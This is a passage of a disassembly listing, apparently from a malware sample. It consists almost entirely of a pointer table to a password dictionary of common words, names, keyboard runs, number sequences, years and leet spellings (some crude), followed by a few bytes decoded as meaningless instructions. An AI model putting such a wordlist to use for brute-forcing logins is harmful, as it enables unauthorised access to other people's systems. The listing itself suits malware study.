aPizza ; "pizza" dd offset aPlane ; "plane" dd offset aPlayboy ; "playboy" dd offset aPlover ; "plover" dd offset aPluto ; "pluto" dd offset aPlymouth ; "plymouth" dd offset aPoetry ; "poetry" dd offset aPolice ; "police" dd offset aPolly ; "polly" dd offset aPolynomi ; "polynomi" dd offset aPonderin ; "ponderin" dd offset aPoop ; "poop" dd offset aPoor ; "poor" dd offset aPork ; "pork" dd offset aPorn ; "porn" dd offset aPorno ; "porno" dd offset aPorsche ; "porsche" dd offset aPost ; "post" dd offset aPoster ; "poster" dd offset aPower ; "power" dd offset aPraise ; "praise" dd offset aPrecious ; "precious" dd offset aPrelude ; "prelude" dd offset aPresto ; "presto" dd offset aPrince ; "prince" dd offset aPrinceto ; "princeto" dd offset aPrinter ; "printer" dd offset aPriv ; "priv" dd offset aPrivate ; "private" dd offset aPrivs ; "privs" dd offset aProceed ; "proceed" dd offset aProcesso ; "processo" dd offset aProfesso ; "professo" dd offset aProfile ; "profile" dd offset aProgram ; "program" dd offset aPrompt ; "prompt" dd offset aProtect ; "protect" dd offset aProtozoa ; "protozoa" dd offset aPsycho ; "psycho" dd offset aPsychopa ; "psychopa" dd offset aPublic ; "public" dd offset aPuck ; "puck" dd offset aPuke ; "puke" dd offset aPumpkin ; "pumpkin" dd offset aPuneet ; "puneet" dd offset aPunisher ; "punisher" dd offset aPunk ; "punk" dd offset aPuppet ; "puppet" dd offset aPussy ; "pussy" dd offset aQuebec ; "quebec" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aRabbit ; "rabbit" dd offset aRachel ; "rachel" dd offset aRachelle ; "rachelle" dd offset aRachmani ; "rachmani" dd offset aRaid ; "raid" dd offset aRain ; "rain" dd offset aRainbow ; "rainbow" dd offset aRaindrop ; "raindrop" dd offset aRaleigh ; "raleigh" dd offset aRandom ; "random" dd offset aRape ; "rape" dd offset aRascal ; "rascal" dd offset aRazor ; "razor" dd offset aReagan ; "reagan" dd offset aReality ; "reality" dd offset aReally ; "really" dd offset aReam ; "ream" dd offset aReaper ; "reaper" dd offset aRebal ; "rebal" dd offset aRebecca ; "rebecca" dd offset aRebel ; "rebel" dd offset aRecord ; "record" dd offset aReddawn ; "reddawn" dd offset aRedhead ; "redhead" dd offset aReferenc ; "referenc" dd offset aRegional ; "regional" dd offset aRelease ; "release" dd offset aRemote ; "remote" dd offset aRenee ; "renee" dd offset aReno ; "reno" dd offset aRent ; "rent" dd offset aReport ; "report" dd offset aRepublic ; "republic" dd offset aResistan ; "resistan" dd offset aReveal ; "reveal" dd offset aRhino ; "rhino" dd offset aRich ; "rich" dd offset aRick ; "rick" dd offset aRiffraff ; "riffraff" dd offset aRight ; "right" dd offset aRightwin ; "rightwin" dd offset aRing ; "ring" dd offset aRiot ; "riot" dd offset aRipple ; "ripple" dd offset aRisc ; "risc" dd offset aRoach ; "roach" dd offset aRobert ; "robert" dd offset aRobin ; "robin" dd offset aRobot ; "robot" dd offset aRobotics ; "robotics" dd offset aRobyn ; "robyn" dd offset aRochelle ; "rochelle" dd offset aRocheste ; "rocheste" dd offset aRock ; "rock" dd offset aRocky ; "rocky" dd offset aRockyhor ; "rockyhor" dd offset aRodent ; "rodent" dd offset aRolex ; "rolex" dd offset aRomano ; "romano" dd offset aRomeo ; "romeo" dd offset aRomulan ; "romulan" dd offset aRonald ; "ronald" dd offset aRose ; "rose" dd offset aRosebud ; "rosebud" dd offset aRosemary ; "rosemary" dd offset aRoses ; "roses" dd offset aRough ; "rough" dd offset aRubber ; "rubber" dd offset aRuben ; "ruben" dd offset aRuby ; "ruby" dd offset aRude ; "rude" dd offset aRules ; "rules" dd offset aRunning ; "running" dd offset aRush ; "rush" dd offset aRuth ; "ruth" dd offset aSafe ; "safe" dd offset aSalami ; "salami" dd offset aSale ; "sale" dd offset aSalt ; "salt" dd offset aSamantha ; "samantha" dd offset aSample ; "sample" dd offset aSandra ; "sandra" dd offset aSandy ; "sandy" dd offset aSara ; "sara" dd offset aSarah ; "sarah" dd offset aSaturday ; "saturday" dd offset aSaturn ; "saturn" dd offset aSaxon ; "saxon" dd offset aScamper ; "scamper" dd offset aScheme ; "scheme" dd offset aSchool ; "school" dd offset aSchoolsucks ; "schoolsucks" dd offset aScifi ; "scifi" dd offset aScorpion ; "scorpion" dd offset aScott ; "scott" dd offset aScotty ; "scotty" dd offset aScout ; "scout" dd offset aSearch ; "search" dd offset aSecurity ; "security" dd offset aSeed ; "seed" dd offset aSega ; "sega" dd offset aSensor ; "sensor" dd offset aSentinel ; "sentinel" dd offset aSentry ; "sentry" dd offset aSerenity ; "serenity" dd offset aSerial_0 ; "serial" dd offset aService ; "service" dd offset aSesame ; "sesame" dd offset aSexy ; "sexy" dd offset aShannon ; "shannon" dd offset aSharc ; "sharc" dd offset aShark ; "shark" dd offset aSharks ; "sharks" dd offset aSharon ; "sharon" dd offset aSheffiel ; "sheffiel" dd offset aSheldon ; "sheldon" dd offset aShell ; "shell" dd offset aSherri ; "sherri" dd offset aShift ; "shift" dd offset aShirley ; "shirley" dd offset aShit ; "shit" dd offset aShitpot ; "shitpot" dd offset aShiva ; "shiva" dd offset aShivers ; "shivers" dd offset aShort ; "short" dd offset aShuttle ; "shuttle" dd offset aSick ; "sick" dd offset aSierra ; "sierra" dd offset aSignatur ; "signatur" dd offset aSilver ; "silver" dd offset aSimcity ; "simcity" dd offset aSimon ; "simon" dd offset aSimple ; "simple" dd offset aSimpsons ; "simpsons" dd offset aSimulati ; "simulati" dd offset aSinger ; "singer" dd offset aSingle ; "single" dd offset aSite ; "site" dd offset aSkull ; "skull" dd offset aSlave ; "slave" dd offset aSlick ; "slick" dd offset aSliders ; "sliders" dd offset aSlow ; "slow" dd offset aSlut ; "slut" dd offset aSmall ; "small" dd offset aSmart ; "smart" dd offset aSmile ; "smile" dd offset aSmiles ; "smiles" dd offset aSmooch ; "smooch" dd offset aSmother ; "smother" dd offset aSmtp ; "smtp" dd offset aSmut ; "smut" dd offset aSnach ; "snach" dd offset aSnafu ; "snafu" dd offset aSnake ; "snake" dd offset aSnatch ; "snatch" dd offset aSnoopy ; "snoopy" dd offset aSoap ; "soap" dd offset aSocial ; "social" dd offset aSocrates ; "socrates" dd offset aSodomy ; "sodomy" dd offset aSoft ; "soft" dd offset aSoftware ; "software" dd offset aSomebody ; "somebody" dd offset aSondra ; "sondra" dd offset aSonia ; "sonia" dd offset aSonic ; "sonic" dd offset aSonya ; "sonya" dd offset aSossina ; "sossina" dd offset aSource ; "source" dd offset aSouth ; "south" dd offset aSpaceshi ; "spaceshi" dd offset aSparrows ; "sparrows" dd offset aSpear ; "spear" dd offset aSpell ; "spell" dd offset aSpice ; "spice" dd offset aSpider ; "spider" dd offset aSpiderma ; "spiderma" dd offset aSpit ; "spit" dd offset aSpred ; "spred" dd offset aSpring ; "spring" dd offset aSpringer ; "springer" dd offset aSpunk ; "spunk" dd offset aSquires ; "squires" dd offset aSr71 ; "sr71" dd offset aStacey ; "stacey" dd offset aStaci ; "staci" dd offset aStacie ; "stacie" dd offset aStacy ; "stacy" dd offset aStar ; "star" dd offset aStarship ; "starship" dd offset aStart ; "start" dd offset aStartrek ; "startrek" dd offset aStartup ; "startup" dd offset aStarwars ; "starwars" dd offset aSteak ; "steak" dd offset aSteal ; "steal" dd offset aSteel ; "steel" dd offset aSteph ; "steph" dd offset aStephani ; "stephani" dd offset aStereo ; "stereo" dd offset aSteve ; "steve" dd offset dword_430058 dd offset aStoned ; "stoned" dd offset aStones ; "stones" dd offset aStrange ; "strange" dd offset aStrangle ; "strangle" dd offset aStratfor ; "stratfor" dd offset aStreetfi ; "streetfi" dd offset aString ; "string" dd offset aStrip ; "strip" dd offset aStudent ; "student" dd offset aStuttgar ; "stuttgar" dd offset aSubscrib ; "subscrib" dd offset aSubway ; "subway" dd offset aSuccess ; "success" dd offset aSuck ; "suck" dd offset aSuckmydi ; "suckmydi" dd offset aSucks ; "sucks" dd offset aSummer ; "summer" dd offset aSunday ; "sunday" dd offset aSuperman ; "superman" dd offset aSuperson ; "superson" dd offset aSupersta ; "supersta" dd offset aSuperuse ; "superuse" dd offset aSupervis ; "supervis" dd offset aSupport ; "support" dd offset aSupporte ; "supporte" dd offset aSurfer ; "surfer" dd offset aSurfing ; "surfing" dd offset aSusan ; "susan" dd offset aSusanne ; "susanne" dd offset aSusie ; "susie" dd offset aSuzanne ; "suzanne" dd offset aSuzie ; "suzie" dd offset aSwearer ; "swearer" dd offset aSweat ; "sweat" dd offset aSwitch ; "switch" dd offset aSword ; "sword" dd offset aSybil ; "sybil" dd offset aSymmetry ; "symmetry" dd offset aSysadmin ; "sysadmin" dd offset aSysop ; "sysop" dd offset aTabasco ; "tabasco" dd offset aTalk ; "talk" dd offset aTall ; "tall" dd offset aTamara ; "tamara" dd offset aTami ; "tami" dd offset aTamie ; "tamie" dd offset aTammy ; "tammy" dd offset aTangerin ; "tangerin" dd offset aTango ; "tango" dd offset aTape ; "tape" dd offset aTara ; "tara" dd offset aTarget ; "target" dd offset aTarragon ; "tarragon" dd offset aTaylor ; "taylor" dd offset aTeacher ; "teacher" dd offset aTeam ; "team" dd offset aTeapot ; "teapot" dd offset aTears ; "tears" dd offset aTech ; "tech" dd offset aTeen ; "teen" dd offset aTeenage ; "teenage" dd offset aTelephon ; "telephon" dd offset aTelnet ; "telnet" dd offset aTemptati ; "temptati" dd offset aTennis ; "tennis" dd offset aTera ; "tera" dd offset aTerminal ; "terminal" dd offset aTerminat ; "terminat" dd offset aTess ; "tess" dd offset aTetris ; "tetris" dd offset aText ; "text" dd offset aThailand ; "thailand" dd offset aTheresa ; "theresa" dd offset aThin ; "thin" dd offset aThursday ; "thursday" dd offset aTiffany ; "tiffany" dd offset aTiger ; "tiger" dd offset aTime ; "time" dd offset aTina ; "tina" dd offset aTits ; "tits" dd offset aToad ; "toad" dd offset aToggle ; "toggle" dd offset aToken ; "token" dd offset aTokenrin ; "tokenrin" dd offset aTomato ; "tomato" dd offset aTopograp ; "topograp" dd offset aTortoise ; "tortoise" dd offset aToxic ; "toxic" dd offset aToyota ; "toyota" dd offset aTraci ; "traci" dd offset aTracie ; "tracie" dd offset aTracy ; "tracy" dd offset aTrails ; "trails" dd offset aTransfer ; "transfer" dd offset aTrap ; "trap" dd offset aTrapdoor ; "trapdoor" dd offset aTree ; "tree" dd offset aTrek ; "trek" dd offset aTrisha ; "trisha" dd offset aTrivial ; "trivial" dd offset aTrojan ; "trojan" dd offset aTrombone ; "trombone" dd offset aTron ; "tron" dd offset aTrue ; "true" dd offset aTruth ; "truth" dd offset aTubas ; "tubas" dd offset aTuesday ; "tuesday" dd offset aTurn ; "turn" dd offset aTuttle ; "tuttle" dd offset aUgly ; "ugly" dd offset aUmesh ; "umesh" dd offset aUncle ; "uncle" dd offset aUndo ; "undo" dd offset aUnhappy ; "unhappy" dd offset aUnicorn ; "unicorn" dd offset aUniform ; "uniform" dd offset aUniversa ; "universa" dd offset aUniverse ; "universe" dd offset aUniversi ; "universi" dd offset aUnknown_0 ; "unknown" dd offset aUnlock ; "unlock" dd offset aUpload ; "upload" dd offset aUranus ; "uranus" dd offset aUrchin ; "urchin" dd offset aUrsula ; "ursula" dd offset aUsenet ; "usenet" dd offset aUsermane ; "usermane" dd offset aUsername ; "username" dd offset aUsmc ; "usmc" dd offset aUtil ; "util" dd offset aUtility ; "utility" dd offset aUucp ; "uucp" dd offset aVagina ; "vagina" dd offset aValerie ; "valerie" dd offset aVampire ; "vampire" dd offset aVasant ; "vasant" dd offset aVenus ; "venus" dd offset aVeronica ; "veronica" dd offset aVertigo ; "vertigo" dd offset aVicky ; "vicky" dd offset aVictor ; "victor" dd offset aVideo ; "video" dd offset aVideogam ; "videogam" dd offset aVillage ; "village" dd offset aVirgin ; "virgin" dd offset aVirginia ; "virginia" dd offset aVirus ; "virus" dd offset aVisitor ; "visitor" dd offset aVisual ; "visual" dd offset aVisualba ; "visualba" dd offset aVodka ; "vodka" dd offset aWaco ; "waco" dd offset aWard ; "ward" dd offset aWarez ; "warez" dd offset aWarfare ; "warfare" dd offset aWargames ; "wargames" dd offset aWarp ; "warp" dd offset aWarren ; "warren" dd offset aWasp ; "wasp" dd offset aWatchwor ; "watchwor" dd offset aWater ; "water" dd offset aWave ; "wave" dd offset aWebpage ; "webpage" dd offset aWednesda ; "wednesda" dd offset aWeed ; "weed" dd offset aWeenie ; "weenie" dd offset aWell ; "well" dd offset aWendi ; "wendi" dd offset aWendy ; "wendy" dd offset aWerewolf ; "werewolf" dd offset aWest ; "west" dd offset aWestern ; "western" dd offset aWhatever ; "whatever" dd offset aWhatnot ; "whatnot" dd offset aWhisky ; "whisky" dd offset aWhite ; "white" dd offset aWhiting ; "whiting" dd offset aWhitney ; "whitney" dd offset aWholesal ; "wholesal" dd offset aWhore ; "whore" dd offset aWill ; "will" dd offset aWilliam ; "william" dd offset aWilliams ; "williams" dd offset aWillie ; "willie" dd offset aWilma ; "wilma" dd offset aWindows ; "windows" dd offset aWine ; "wine" dd offset aWing ; "wing" dd offset aWinston ; "winston" dd offset aWired ; "wired" dd offset aWisconsi ; "wisconsi" dd offset aWiseass ; "wiseass" dd offset aWithin ; "within" dd offset aWizard ; "wizard" dd offset aWolf ; "wolf" dd offset aWolverin ; "wolverin" dd offset aWoman ; "woman" dd offset aWombat ; "wombat" dd offset aWomen ; "women" dd offset aWood ; "wood" dd offset aWoodwind ; "woodwind" dd offset aWord ; "word" dd offset aWordperf ; "wordperf" dd offset aWorf ; "worf" dd offset aWork ; "work" dd offset aWorm ; "worm" dd offset aWormwood ; "wormwood" dd offset aWwii ; "wwii" dd offset aWyoming ; "wyoming" dd offset aXena ; "xena" dd offset aXfer ; "xfer" dd offset aXman ; "xman" dd offset aXmen ; "xmen" dd offset aXmodem ; "xmodem" dd offset aXray ; "xray" dd offset aXyzzy ; "xyzzy" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aYankee ; "yankee" dd offset aYellow ; "yellow" dd offset aYellowst ; "yellowst" dd offset aYolanda ; "yolanda" dd offset aYosemite ; "yosemite" dd offset aYoung ; "young" dd offset aZebra ; "zebra" dd offset aZeitgeis ; "zeitgeis" dd offset aZiggy ; "ziggy" dd offset aZimmerma ; "zimmerma" dd offset aZmodem ; "zmodem" dd offset aZombie ; "zombie" dd offset aZulu ; "zulu" dd offset a00000000 ; "00000000" dd offset aTester ; "tester" dd offset aTestin ; "testin" dd offset aRoss ; "Ross" dd offset aRosco ; "Rosco" dd offset aRoscop ; "RoscoP" dd offset aRoscopcoltrane ; "RoscoPColtrane" dd offset aLol ; "lol" dd offset aD00d ; "d00d" dd offset aDudette ; "dudette" dd offset aDud3 ; "dud3" dd offset aAl3x ; "Al3x" dd offset aAlexander ; "Alexander" dd offset aDonaldduck ; "donaldduck" dd offset aWileecoyote ; "wileecoyote" dd offset aWindowz ; "windowz" dd offset aWindoze ; "windoze" dd offset aWindose ; "windose" dd offset aBilly ; "billy" dd offset aM_0 ; "M$" dd offset aMs ; "MS" dd offset aWindowsxp ; "WindowsXP" dd offset aWindows2k ; "windows2k" dd offset aWindowsme ; "windowsME" dd offset aWindows98 ; "windows98" dd offset aWindows95 ; "windows95" dd offset aWindozexp ; "windozexp" dd offset aWindoze2k ; "windoze2k" dd offset aWindozeme ; "windozeME" dd offset aWindoze98 ; "windoze98" dd offset aWindoze95 ; "windoze95" dd offset aWh0r3 ; "wh0r3" dd offset aHo ; "ho" dd offset aWh0re ; "wh0re" dd offset aHax ; "hax" dd offset aHaxing ; "haxing" dd offset aH4x1ng ; "h4x1ng" dd offset aH4x0r1ng ; "h4x0r1ng" dd offset aH4x0ring ; "h4x0ring" dd offset aAda ; "ada" dd offset aAlbatross ; "albatross" dd offset aAlf ; "alf" dd offset aAma ; "ama" dd offset aAmorphous ; "amorphous" dd offset aAmy ; "amy" dd offset aAndromache ; "andromache" dd offset aAnn ; "ann" dd offset aAnthropogenic ; "anthropogenic" dd offset aAsd ; "asd" dd offset aAsm ; "asm" dd offset aAtmosphere ; "atmosphere" dd offset aBeethoven ; "beethoven" dd offset aBicameral ; "bicameral" dd offset aBob ; "bob" dd offset aBsd ; "bsd" dd offset aCad ; "cad" dd offset aCampanile ; "campanile" dd offset aCat ; "cat" dd offset aCatherine ; "catherine" dd offset aChemistry ; "chemistry" dd offset aChristina ; "christina" dd offset aChristine ; "christine" dd offset aCommrades ; "commrades" dd offset aCornelius ; "cornelius" dd offset aDeb ; "deb" dd offset aDesperate ; "desperate" dd offset aDiscovery ; "discovery" dd offset aDog ; "dog" dd offset aDos ; "dos" dd offset aEdinburgh ; "edinburgh" dd offset aEiderdown ; "eiderdown" dd offset aElizabeth ; "elizabeth" dd offset aEnterprise ; "enterprise" dd offset aEstablish ; "establish" dd offset aExtension ; "extension" dd offset aFoolproof ; "foolproof" dd offset aForesight ; "foresight" dd offset aFun ; "fun" dd offset aGnu ; "gnu" dd offset aHal ; "hal" dd offset aHappening ; "happening" dd offset aIbm ; "ibm" dd offset aImbroglio ; "imbroglio" dd offset aInnocuous ; "innocuous" dd offset aJen ; "jen" dd offset aJoy ; "joy" dd offset aKey ; "key" dd offset aKim ; "kim" dd offset aLamination ; "lamination" dd offset aLee ; "lee" dd offset aLiz ; "liz" dd offset aMacintosh ; "macintosh" dd offset aMgr ; "mgr" dd offset aMit ; "mit" dd offset aNet ; "net" dd offset aNew ; "new" dd offset aNutrition ; "nutrition" dd offset aOceanography ; "oceanography" dd offset aPad ; "pad" dd offset aPam ; "pam" dd offset aPercolate ; "percolate" dd offset aPersimmon ; "persimmon" dd offset aPolynomial ; "polynomial" dd offset aPondering ; "pondering" dd offset aPrinceton ; "princeton" dd offset aProfessor ; "professor" dd offset aPub ; "pub" dd offset aRachmaninoff ; "rachmaninoff" dd offset aRje ; "rje" dd offset aRochester ; "rochester" dd offset aSal ; "sal" dd offset aSheffield ; "sheffield" dd offset aSignature ; "signature" dd offset aStephanie ; "stephanie" dd offset aStratford ; "stratford" dd offset aStuttgart ; "stuttgart" dd offset aSun ; "sun" dd offset aSuperstage ; "superstage" dd offset aSuperuser ; "superuser" dd offset aSupported ; "supported" dd offset aSys ; "sys" dd offset aTangerine ; "tangerine" dd offset aTelephone ; "telephone" dd offset aTemptation ; "temptation" dd offset aTopography ; "topography" dd offset aTty ; "tty" dd offset aWholesale ; "wholesale" dd offset aWilliamsburg ; "williamsburg" dd offset aWisconsin ; "wisconsin" dd offset aXyz ; "xyz" dd offset aYellowstone ; "yellowstone" dd offset aZap ; "zap" dd offset aZimmerman ; "zimmerman" dd offset dword_42F3A8 dd offset dword_42F3A4 dd offset dword_42F3A0 dd offset dword_42F39C dd offset dword_42F394 dd offset dword_42F38C dd offset dword_42F384 dd offset dword_42F378 dd offset loc_4263DB+1 dd offset dword_42F374 dd offset off_42F370 dd offset a@_6 ; "@" dd offset a@@ ; "@@" dd offset asc_42F364 ; "+" dd offset asc_42F360 ; "++" dd offset asc_42F35C ; "+++" dd offset asc_42F354 ; "++++" dd offset asc_42F350 ; "-" dd offset asc_42F34C ; "--" dd offset asc_42F34C ; "--" dd offset asc_42F344 ; "----" dd offset asc_42F340 ; "-+" dd offset asc_42F338 ; "--++" dd offset a0 ; "=-0" dd offset a789_0 ; "789+" dd offset a456_0 ; "456+" dd offset asc_42F320 ; "$" dd offset asc_42F31C ; "$$" dd offset asc_42F318 ; "$$$" dd offset a@_5 ; "*&^%$#@!" dd offset a@_4 ; "&^%$#@!" dd offset a@_3 ; "^%$#@!" dd offset a@_2 ; "%$#@!" dd offset a@_1 ; "$#@!" dd offset a@_0 ; "#@!" dd offset a@ ; "@!" dd offset dword_4263F0 dd offset a00 ; "00" dd offset a000 ; "000" dd offset a0000 ; "0000" dd offset a00000 ; "00000" dd offset a000000 ; "000000" dd offset a00000000 ; "00000000" dd offset a000000000 ; "000000000" dd offset a0000000000 ; "0000000000" dd offset asc_426C78 ; "*" dd offset asc_42F2C8 ; "**" dd offset asc_42F2C4 ; "***" dd offset asc_42F2BC ; "****" dd offset asc_42F2B4 ; "*****" dd offset asc_42F2AC ; "******" dd offset asc_42F2A4 ; "*******" dd offset asc_42F298 ; "********" dd offset asc_42F28C ; "*********" dd offset a001 ; "001" dd offset a002 ; "002" dd offset a003 ; "003" dd offset a004 ; "004" dd offset a005 ; "005" dd offset a006 ; "006" dd offset a007 ; "007" dd offset a008 ; "008" dd offset a009 ; "009" dd offset a010 ; "010" dd offset a0wn3d ; "0wn3d" dd offset a0wned ; "0wned" dd offset a1 ; "1" dd offset a11 ; "11" dd offset a111 ; "111" dd offset a1111 ; "1111" dd offset a11111 ; "11111" dd offset a111111 ; "111111" dd offset a1111111 ; "1111111" dd offset a11111111 ; "11111111" dd offset a111111111 ; "111111111" dd offset a1111111111 ; "1111111111" dd offset a2 ; "2" dd offset a22 ; "22" dd offset a222 ; "222" dd offset a2222 ; "2222" dd offset a22222 ; "22222" dd offset a222222 ; "222222" dd offset a2222222 ; "2222222" dd offset a22222222 ; "22222222" dd offset a222222222 ; "222222222" dd offset a2222222222 ; "2222222222" dd offset a3 ; "3" dd offset a33 ; "33" dd offset a333 ; "333" dd offset a3333 ; "3333" dd offset a33333 ; "33333" dd offset a333333 ; "333333" dd offset a3333333 ; "3333333" dd offset a33333333 ; "33333333" dd offset a333333333 ; "333333333" dd offset a3333333333 ; "3333333333" dd offset a4 ; "4" dd offset a44 ; "44" dd offset a444 ; "444" dd offset a4444 ; "4444" dd offset a44444 ; "44444" dd offset a444444 ; "444444" dd offset a4444444 ; "4444444" dd offset a44444444 ; "44444444" dd offset a444444444 ; "444444444" dd offset a4444444444 ; "4444444444" dd offset a5 ; "5" dd offset a55 ; "55" dd offset a555 ; "555" dd offset a5555 ; "5555" dd offset a55555 ; "55555" dd offset a555555 ; "555555" dd offset a5555555 ; "5555555" dd offset a55555555 ; "55555555" dd offset a555555555 ; "555555555" dd offset a5555555555 ; "5555555555" dd offset a6 ; "6" dd offset a66 ; "66" dd offset a666 ; "666" dd offset a6666 ; "6666" dd offset a66666 ; "66666" dd offset a666666 ; "666666" dd offset a6666666 ; "6666666" dd offset a66666666 ; "66666666" dd offset a666666666 ; "666666666" dd offset a6666666666 ; "6666666666" dd offset a7 ; "7" dd offset a77 ; "77" dd offset a777 ; "777" dd offset a7777 ; "7777" dd offset a77777 ; "77777" dd offset a777777 ; "777777" dd offset a7777777 ; "7777777" dd offset a77777777 ; "77777777" dd offset a777777777 ; "777777777" dd offset a7777777777 ; "7777777777" dd offset a8 ; "8" dd offset a88 ; "88" dd offset a888 ; "888" dd offset a8888 ; "8888" dd offset a88888 ; "88888" dd offset a888888 ; "888888" dd offset a8888888 ; "8888888" dd offset a88888888 ; "88888888" dd offset a888888888 ; "888888888" dd offset a8888888888 ; "8888888888" dd offset a9 ; "9" dd offset a99 ; "99" dd offset a999 ; "999" dd offset a9999 ; "9999" dd offset a99999 ; "99999" dd offset a999999 ; "999999" dd offset a9999999 ; "9999999" dd offset a99999999 ; "99999999" dd offset a999999999 ; "999999999" dd offset a9999999999 ; "9999999999" dd offset a110 ; "110" dd offset a7410 ; "7410" dd offset a0147 ; "0147" dd offset a1122 ; "1122" dd offset a456 ; "456" dd offset a654 ; "654" dd offset a789 ; "789" dd offset a987 ; "987" dd offset a8520 ; "8520" dd offset a0258 ; "0258" dd offset a1020 ; "1020" dd offset a12 ; "12" dd offset a121 ; "121" dd offset a121212 ; "121212" dd offset a123 ; "123" dd offset a123123 ; "123123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a12346 ; "12346" dd offset a123467 ; "123467" dd offset a1234678 ; "1234678" dd offset a12346789 ; "12346789" dd offset a123467890 ; "123467890" dd offset a1qwer ; "1qwer" dd offset a1abc ; "1abc" dd offset a1asd ; "1asd" dd offset a1qwe ; "1qwe" dd offset a12qwer ; "12qwer" dd offset a12abc ; "12abc" dd offset a12asd ; "12asd" dd offset a12qwe ; "12qwe" dd offset a123qwer ; "123qwer" dd offset a123abc ; "123abc" dd offset a123asd ; "123asd" dd offset a123qwe ; "123qwe" dd offset a1234qwer ; "1234qwer" dd offset a1234abc ; "1234abc" dd offset a1234asd ; "1234asd" dd offset a1234qwe ; "1234qwe" dd offset a1952 ; "1952" dd offset a1953 ; "1953" dd offset a1954 ; "1954" dd offset a1955 ; "1955" dd offset a1956 ; "1956" dd offset a1957 ; "1957" dd offset a1958 ; "1958" dd offset a1959 ; "1959" dd offset a1960 ; "1960" dd offset a1961 ; "1961" dd offset a1962 ; "1962" dd offset a1963 ; "1963" dd offset a1964 ; "1964" dd offset a1965 ; "1965" dd offset a1966 ; "1966" dd offset a1967 ; "1967" dd offset a1968 ; "1968" dd offset a1969 ; "1969" dd offset a1970 ; "1970" dd offset a1971 ; "1971" dd offset a1972 ; "1972" dd offset a1973 ; "1973" dd offset a1974 ; "1974" dd offset a1975 ; "1975" dd offset a1976 ; "1976" dd offset a1977 ; "1977" dd offset a1978 ; "1978" dd offset a1979 ; "1979" dd offset a1980 ; "1980" dd offset a1981 ; "1981" dd offset a1982 ; "1982" dd offset a1983 ; "1983" dd offset a1984 ; "1984" dd offset a1985 ; "1985" dd offset a1986 ; "1986" dd offset a1987 ; "1987" dd offset a1988 ; "1988" dd offset a1989 ; "1989" dd offset a1990 ; "1990" dd offset a1991 ; "1991" dd offset a1992 ; "1992" dd offset a1993 ; "1993" dd offset a1994 ; "1994" dd offset a1995 ; "1995" dd offset a1996 ; "1996" dd offset a1997 ; "1997" dd offset a1998 ; "1998" dd offset a1999 ; "1999" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003 ; "2003" dd offset a2004 ; "2004" dd offset a2005 ; "2005" dd offset a2006 ; "2006" dd offset a2600 ; "2600" dd offset a321 ; "321" dd offset a4321 ; "4321" dd offset a54321 ; "54321" dd offset a654321 ; "654321" dd offset a7654321 ; "7654321" dd offset aSony ; "sony" dd offset aSamsung_0 ; "SAMSUNG" dd offset aSamsung ; "samsung" dd offset aSony_0 ; "SONY" dd offset aMaster_0 ; "MASTER" dd offset aMicrosoft ; "MICROSOFT" dd offset aDisc_0 ; "DISC" dd offset aCreative ; "CREATIVE" dd offset aSex ; "SEX" dd offset aNokia ; "NOKIA" dd offset aXp ; "XP" dd offset aA_1 ; "a" dd offset aAa ; "aa" dd offset aAaa ; "aaa" dd offset aAaaa ; "aaaa" dd offset aAaaaa ; "aaaaa" dd offset aAaaaaa ; "aaaaaa" dd offset aAaaaaaa ; "aaaaaaa" dd offset aAaaaaaaa ; "aaaaaaaa" dd offset aAaaaaaaaa ; "aaaaaaaaa" dd offset aPassword_0 ; "Password" dd offset aPassword1 ; "password1" dd offset aQw ; "qw" dd offset aQwe ; "qwe" dd offset aQwer ; "qwer" dd offset aQwert ; "qwert" dd offset aQwerty ; "qwerty" dd offset aQwertyu ; "qwertyu" dd offset aQwertyui ; "qwertyui" dd offset aQwertyuio ; "qwertyuio" dd offset aQwertyuiop ; "qwertyuiop" dd offset aRoot ; "root" dd offset aServer_0 ; "server" dd offset aService ; "service" dd offset aServers ; "servers" dd offset aServices ; "services" dd offset aSystem ; "system" dd offset aSystem_0 ; "SYSTEM" dd offset aChi_0 ; "CHI" dd offset aChi ; "chi" dd offset aKor_0 ; "kor" dd offset aTiger ; "tiger" dd offset aKor ; "KOR" dd offset aToyota_0 ; "TOYOTA" dd offset aToyota ; "toyota" dd offset asc_432C24 ; "x" dd offset aXx ; "xx" dd offset aXxx ; "xxx" dd offset aXxxx ; "xxxx" dd offset aXxxxx ; "xxxxx" dd offset aXxxxxx ; "xxxxxx" dd offset aXxxxxxx ; "xxxxxxx" dd offset aXxxxxxxx ; "xxxxxxxx" dd offset aXxxxxxxxx ; "xxxxxxxxx" dd offset aXyz ; "xyz" dd offset aYaco ; "yaco" dd offset aYang ; "yang" dd offset aKonyang ; "konyang" dd offset aZ ; "z" ; --------------------------------------------------------------------------- or ah, ch inc edx add [esp+ebp*8], al inc edx add [eax+2Dh], bl inc ebx add ah, bh jmp short loc_42E451 ; --------------------------------------------------------------------------- align 10h dd offset aZxcvbn ; "zxcvbn" dd offset aZxcvbnm ; "zxcvbnm" dd offset aAs ; "as" ; --------------------------------------------------------------------------- movsb test byte ptr [edx+0], 78h sub eax, 0EBE00043h inc edx add al, bl jmp short loc_42E46D ; --------------------------------------------------------------------------- align 4 shr bl, 1 inc edx add ah, al jmp short loc_42E475 ; --------------------------------------------------------------------------- align 4 mov eax, 0B40042EBh jmp short loc_42E47D ; --------------------------------------------------------------------------- align 4 dd offset aWsx ; "wsx" ; --------------------------------------------------------------------------- lodsb jmp short loc_42E485 ; --------------------------------------------------------------------------- align 4 dd offset aRfv ; "rfv" ; --------------------------------------------------------------------------- movsb jmp short loc_42E48D ; --------------------------------------------------------------------------- align 4 mov al, ds:9C0042EBh loc_42E451: ; CODE XREF: seg002:0042E40Dj jmp short loc_42E495 ; --------------------------------------------------------------------------- align 4 xchg eax, esp jmp short loc_42E499 ; --------------------------------------------------------------------------- align 4 dd offset aBbbbb ; "bbbbb" dd offset aBbbbbb ; "bbbbbb" dd offset aBbbbbbb ; "bbbbbbb" dd offset aBbbbbbbb ; "bbbbbbbb" dd offset aBbbbbbbbb ; "bbbbbbbbb" ; --------------------------------------------------------------------------- pusha loc_42E46D: ; CODE XREF: seg002:0042E429j jmp short loc_42E4B1 ; --------------------------------------------------------------------------- align 10h dd offset aCc ; "cc" ; --------------------------------------------------------------------------- pop eax loc_42E475: ; CODE XREF: seg002:0042E431j jmp short loc_42E4B9 ; 